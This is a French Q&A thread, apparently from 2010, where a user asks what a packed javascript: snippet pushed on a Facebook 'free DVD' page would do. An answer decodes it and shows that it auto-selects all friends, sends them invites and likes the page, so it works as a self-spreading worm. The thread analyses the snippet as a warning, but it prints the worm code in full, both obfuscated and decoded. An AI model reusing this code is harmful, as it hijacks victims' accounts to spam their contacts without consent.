2010-05-14 6 views
2

Un 'ami' sur Facebook m'a suggéré de devenir fan de certaines vidéothèques pour obtenir des DVD gratuits et sur leur page de fans sous l'onglet 'DVD GRATUIT' il avait du code qu'il demandait aux utilisateurs de copier et coller dans l'adresse bar.Facebook javascript

Je me demande si quelqu'un sait ce que ce code ferait juste en le regardant. Je suppose que j'ai besoin d'être connecté sur Facebook pour que ça fonctionne mais je ne veux pas le coller, dans le cas où c'était malveillant et spammé tous mes autres amis Facebook.

Quelqu'un peut-il le dire?

javascript:(function(){a='app113639355344735_ncpCAE';b='app113639355344735_RWwtnR';WGOEjW='app113639355344735_WGOEjW';zsbTwe='app113639355344735_zsbTwe';wwEggB='app113639355344735_wwEggB';eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|wwEggB|fs|SocialGraphManager|zsbTwe|WGOEjW|||||||'.split('|'),0,{}))})(); 
+4

Il n'existe pas de gâteau gratuit. Surtout pas si vous êtes invité à exécuter un code douteux pour l'obtenir. – Tomalak

+0

Oui, je ne veux même pas regarder des DVD gratuits, mais je suis plus curieux de savoir à quoi correspond cette ligne de code. – Stuart

+0

Veuillez indiquer les réponses comme solution le cas échéant. –

Répondre

8

C'est compressé à l'aide packer Vous pouvez utiliser des outils comme http://jsbeautifier.org/ pour décompresser

a = 'app113639355344735_ncpCAE'; 
b = 'app113639355344735_RWwtnR'; 
WGOEjW = 'app113639355344735_WGOEjW'; 
zsbTwe = 'app113639355344735_zsbTwe'; 
wwEggB = 'app113639355344735_wwEggB'; 
d = document; 
d['getElementById'](wwEggB)['style']['visibility'] = 'hidden'; 
d['getElementById'](a)['innerHTML'] = d['getElementById'](b)['value']; 
s = d['getElementById']('suggest'); 
m = d['getElementById']('likeme'); 
c = d['createEvent']('MouseEvents'); 
c['initEvent']('click', true, true); 
s['dispatchEvent'](c); 
setTimeout(function() { 
    fs['select_all']() 
}, 5000); 
setTimeout(function() { 
    SocialGraphManager['submitDialog']('sgm_invite_form', '/ajax/social_graph/invite_dialog.php') 
}, 5000); 
setTimeout(function() { 
    m['dispatchEvent'](c); 
    d['getElementById'](zsbTwe)['innerHTML'] = d['getElementById'](WGOEjW)['value'] 
}, 5000); 

Comme vous pouvez le voir, cela ouvre une boîte de dialogue invide, sélectionne tous les amis et émet un événement click si pour lancer l'invitation - en bref, c'est un ver.

+0

Me rappelle un peu du virus de signature d'email ... "Je suis un virus, s'il vous plaît copiez-moi à votre signature et envoyez-moi à tous vos amis." Je me demande ce que l'on appelle l'effet psychologique qui fait que les gens éteignent leur cerveau quand vous leur promettez qu'ils auront quelque chose «gratuitement». : - \ – Tomalak

+0

Ah, vous m'avez battu;) – Harmen

+0

Argh, et moi. J'ai fait le mien à la main aussi :( – icio

Questions connexes